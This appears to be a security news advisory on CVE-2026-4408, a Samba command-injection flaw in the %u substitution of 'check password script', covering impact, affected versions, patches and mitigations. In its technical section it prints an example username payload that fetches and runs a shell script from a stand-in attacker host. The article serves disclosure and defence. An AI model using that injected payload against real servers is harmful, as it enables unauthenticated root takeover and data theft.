Unauthenticated RCE in Samba: CVE-2026-4408 Injects Commands via %u in check password script, Patch to 4.24.3 Now

An unauthenticated remote code execution flaw has been disclosed in Samba, the default Linux software stack for sharing files with Windows clients. CVE-2026-4408 carries a CVSS v3.1 score of 9.0 (Critical, AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) from Red Hat, with the Samba Project advisory scoring it as high as 10.0. Fixed builds Samba 4.22.10, 4.23.8, and 4.24.3 were released together on May 26, 2026, and distribution patches such as Ubuntu USN-8306-1 are rolling out.

The buggy code path lives in Samba's "check password script" feature for password strength enforcement on file servers and classic (non-AD) domain controllers. When a user requests a password change, Samba runs the configured external script and uses its exit code to accept or reject the password. The script invocation substitutes the username into the command line via the %u token, and that substitution does not escape shell metacharacters at all.

An attacker reaches the SAMR DCE/RPC interface over NCACN_IP_TCP and calls SamValidatePasswordChange or SamValidatePasswordReset, embedding characters like ;, |, or ` in the username field. Samba passes that string straight through to the shell. Because the Samba daemon usually runs as root, the outcome is unauthenticated root command execution. On the right configuration, a hospital file server holding patient records can be taken over with no email and no attachment opened.

Who Wants This Bug, and What They Walk Away With From a Samba Box

A CVE number and a CVSS figure alone do not convey what it actually means to lose a file server. It is worth thinking, from the victim's perspective, about who would target a Samba box and what they would actually carry off.

The people who profit from owning a Samba server are a specific cast. Ransomware affiliate crews looking for fresh entry points, data brokers buying and reselling medical records on underground forums, industrial spies after CAD drawings and quote sheets to plug into a competing product, fraud rings hunting municipal tax and resident registers, and initial access brokers who package up "ready to ransomware" footholds and sell them to the next crew. What they take away from Samba is never abstract "data" but concrete files: HR records of employees due to leave, Excel sheets of payment account numbers, manufacturing CAD drawings and equipment recipes, five years of medical PDFs, CSV exports of delinquent taxpayers. And this vulnerability hands them the entire share, mounted, with root privileges on the host. Encrypted in place it becomes the basis for a ransom demand; copied out it becomes leverage for a follow-up extortion; if it brings the business to a halt, for a smaller company it can be the trigger for bankruptcy itself.

In security terminology this is the ideal "initial access." There is no need to throw a hundred phishing emails at staff hoping someone clicks, and no need to assemble a fresh VPN zero-day. A single network call to a SAMR endpoint reaches root, and from there Samba sits in exactly the place an attacker wants to be: linked into Active Directory authentication, frequently fronting a NAS management console, and acting as the central file hub for the organization. From that vantage point, attackers tend to settle in, wait for backups to be overwritten, and detonate the ransomware around payroll day or quarter-close.

CVSS 9.0 captures the technical severity. For Japanese SMB manufacturers, municipalities, regional hospitals, university labs, and local libraries, though, the real loss is not the fact that root was taken. It is that business continuity and decades of quietly accumulated trust with residents, patients, and customers can be wiped out in a single night. Samba is the kind of "boring backstage server" people stop thinking about, and precisely because it has been holding up the spine of the organization quietly for years, the shock when it is pulled out is large.

What Samba Is, and Where It Runs in Japan

Samba is an OSS project that provides Windows-compatible file sharing, printer sharing, and domain authentication on top of Linux and Unix-like systems. Andrew Tridgell built the original in 1991 in Australia, and today it is maintained by the Samba Team. Core developers like Volker Lendecke, Stefan Metzmacher, and Andrew Bartlett appear in this CVE as patch authors.

In Japan, Samba runs in a remarkably wide set of places.

• The internals of commercial NAS appliances (QNAP, Synology, Buffalo, I-O DATA, ASUSTOR, and so on) are effectively Samba; these boxes are installed everywhere from homes to mid-sized businesses
• Local government offices often run Samba as a supplementary file share alongside their main Active Directory
• Regional core hospitals and clinics commonly back electronic medical record systems with Samba-fronted storage for DICOM images and backups
• University research labs depend on Samba shares for student, graduate, and faculty paper and experimental data
• Public libraries and municipal reading rooms use it for catalog management and in-building file sharing
• Manufacturers consolidate CAD drawings, equipment recipe files, and inspection logs on Samba file servers inside the plant
• SES and SIer contractors have built a very large share of small and mid-sized company file servers on Linux + Samba to avoid Windows Server licensing costs

Samba can run as an Active Directory DC, as a classic domain controller, or as a pure file server. This CVE specifically hits the classic domain controller and file server configurations. AD DC mode is not affected because it does not use the %u substitution. The flip side is that the older the deployment — NT4-style domains and license-conscious file-server-only installs — the higher the chance it is still actively in production.

Inside CVE-2026-4408: %u Substitution and Shell Metacharacters

Following the vulnerable code path step by step: Samba's file server and classic domain controller expose SAMR (Security Account Manager Remote), a DCE/RPC interface, over NCACN_IP_TCP (TCP via port 445). Two SAMR methods, SamValidatePasswordChange and SamValidatePasswordReset, handle password-strength validation during a password change.

If the administrator has written something like check password script = /usr/local/sbin/crackcheck %u in smb.conf, then the moment those RPCs are invoked, Samba substitutes %u with the client-supplied username and hands the result to the shell. As Stefan Metzmacher pointed out in Samba bugzilla #16034, the unsafe characters that flow straight through include ", $, `, \\, ', ;, %, |, &, <, and >.

If an attacker stuffs ; curl attacker.example/sh | bash ; into the username field, Samba ends up executing /usr/local/sbin/crackcheck ; curl attacker.example/sh | bash ;. NVD classifies it as CWE-78 (OS Command Injection), the CVSS v3.1 vector is AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H, and the score is 9.0. The Attack Complexity is High because exploitation requires several pre-conditions to line up — including rpc start on demand helpers = no and a %u-based script — which is why the Samba Project itself scores it at 10.0 while Red Hat lands at 9.0.

The CVE was discovered and reported by Ron Ben Yizhak (SafeBreach) and John Walker (ZeroPath). Patches were driven by Stefan Metzmacher and Douglas Bagnall (Catalyst) on the Samba Team. Douglas Bagnall flagged the original problem of spaces and tabs in usernames producing the wrong argument count; Stefan Metzmacher then widened the unsafe character set; Andrew Bartlett added review feedback on how the & character is handled — a classic Samba Team relay.

Why "check password script" Configurations Still Exist

A natural question is whether anyone still uses check password script at all in 2026. The answer is yes, and there are well-defined historical and operational reasons.

First, operators who want to enforce password strength through cracklib or wordlists. Just like the OS-level passwd command, when you want to reject dictionary words, sequential strings, or short passwords, plugging crackcheck into check password script has been the standard recipe since the 2000s. Old Samba tutorials and the O'Reilly book still show that configuration verbatim.

Second, legacy environments that have been running since the NT4-compatible domain era. Active Directory DC mode was only integrated into Samba in the 4.0 series (2012), and pre-4.0 NT4-style classic domains are still kept alive at some municipalities, small companies, and schools in 2026. The standard answer back then was to use a Linux-side script to assist with password policy, and the check password script + %u combination has stayed in the config file untouched ever since.

Third, logging and notification on password changes. Some operators use check password script as a hook to feed "who changed their password and when" into their own Syslog or Slack channel. Since Samba 4.11, the SAMBA_CPS_ACCOUNT_NAME environment variable is available for AD DC mode and could be used in place of %u, but it is poorly documented and almost every example configuration online still uses the old style. Copy-pasting from search results carries the legacy idiom forward.

Fourth, Samba is a poster child for "if it works, don't touch it". It is quite common in Japan to find a smb.conf set up by an SES contractor more than ten years ago, with no handover documentation, still humming along in the corner. This CVE lands squarely on exactly that kind of untouched config.

Affected Versions and Distribution Patch Status

The Samba Project lists all Samba versions from 4.1 onward as affected. Fixed builds were released on May 26, 2026 as Samba 4.22.10, 4.23.8, and 4.24.3. The distribution response so far looks like this.

The awkward part of this CVE is that the default configuration does not fire, but the moment someone in the past added rpc start on demand helpers = no to a setup script or turned on a custom check password script, unauthenticated RCE becomes reachable. Ubuntu's security team explicitly notes that "the default Ubuntu install is not affected," and we agree. The dangerous failure mode is concluding "we're on defaults, we're fine" without ever reading the actual smb.conf in production.

What To Do Right Now

1. Verify whether your Samba matches the vulnerable shape. Run grep -E "^(check password script|rpc start on demand helpers)" /etc/samba/smb.conf and check the two settings. If check password script contains %u and rpc start on demand helpers = no is present, you are in scope. If either is missing, you are out of scope but you should still patch. AD DC mode hosts are not affected.

2. Patch to a fixed version immediately. Going through the distribution package manager is fastest. On Ubuntu/Debian, apt update && apt upgrade samba samba-common samba-libs; on RHEL-family, dnf update samba; on SUSE, zypper patch. Do not forget to restart the daemons: systemctl restart smbd nmbd winbind samba-dcerpcd. For commercial NAS units (QNAP, Synology, Buffalo, and similar), wait for the vendor firmware update and watch their security advisories.

3. If you cannot patch immediately, fall back to configuration mitigations. Two practical options. (a) Restore rpc start on demand helpers to its default of yes. This alone keeps samba-dcerpcd from running as a permanent system service and closes the attack path. (b) Rewrite check password script so it no longer depends on %u. From Samba 4.11 onward the username is exposed through the SAMBA_CPS_ACCOUNT_NAME environment variable, so use user="$SAMBA_CPS_ACCOUNT_NAME" in the script. If %u absolutely must stay, wrap it in single quotes as '%u' — though this still permits command-line option injection and is not recommended.

4. Check for prior compromise. Any Samba box that has been directly reachable from the internet on TCP/445 or broadly reachable across the corporate network deserves a log review. Look in /var/log/samba/log.smbd and log.samba-dcerpcd for SamValidatePasswordChange and SamValidatePasswordReset calls, look for odd usernames in check password script invocations (special characters, null bytes, escape sequences), search /tmp and /var/tmp for unfamiliar binaries, review crontab -l -u root and /etc/cron.d/ for new entries, and use ss -tnp to look for suspicious outbound connections. If you find traces, full rebuild (OS reinstall plus data restore) is the realistic path forward, since root-level access has to be assumed.

5. Stop exposing TCP/445 directly to the internet. Beyond this specific CVE, exposing SMB/CIFS on TCP/445 to the public internet is not appropriate. The "we want to read files from outside" requirement at SMBs and municipalities should be wrapped in a VPN (WireGuard, Tailscale), SSH port forwarding, or a commercial ZTNA service. We have covered the same "internet-exposed device gets RCE'd" pattern before in Pi.Alert CVE-2026-44887/44888; the principle holds for home NAS units and enterprise file servers alike.

CISA KEV Prediction and Impact on Japan

As of May 28, 2026, CVE-2026-4408 is not listed on the CISA KEV catalog. Because the exploitation conditions require three things to line up (rpc start on demand helpers = no, a %u-based check password script, and reachability to TCP/445), we put the odds of an immediate KEV listing at medium. That said, Samba has an extremely wide install base and is something ransomware crews work continuously as an industry-by-industry entry point. Past Samba CVEs such as CVE-2007-2447 (username map script) and CVE-2017-7494 (SambaCry) all ended up on the KEV. Once a PoC drops, we expect this CVE to land on the KEV within weeks.

In Japan, the larger impact will not be on big enterprises running Samba in AD DC mode, but on SMB manufacturers, municipalities, regional healthcare, and university labs that have been running Samba as a classic domain controller or pure file server for years. These organizations have little capacity for configuration changes and a higher rate of preserving 20-year-old configuration files. The single most worrying pattern is "file server set up by a local SI contractor more than a decade ago, left alone because it works."

We continuously track the list of CVEs that CISA flags as actively exploited on our CISA KEV dashboard (Japanese). To track Samba and similar OSS components across your own supply chain, our OSS supply chain scanner is a useful companion. Samba embedded inside NAS appliances and other turnkey hardware is particularly easy to miss during a hardware inventory and is often the blind spot during a patch sweep.

References

• ▸ Samba Project Official Advisory CVE-2026-4408
• ▸ NVD - CVE-2026-4408
• ▸ Samba bugzilla #16034 (timeline and patch review)
• ▸ Red Hat - CVE-2026-4408
• ▸ Ubuntu Security - CVE-2026-4408 (USN-8306-1)
• ▸ Debian Security Tracker - CVE-2026-4408
• ▸ Samba 4.24.3 release notes
• ▸ CISA - Known Exploited Vulnerabilities Catalog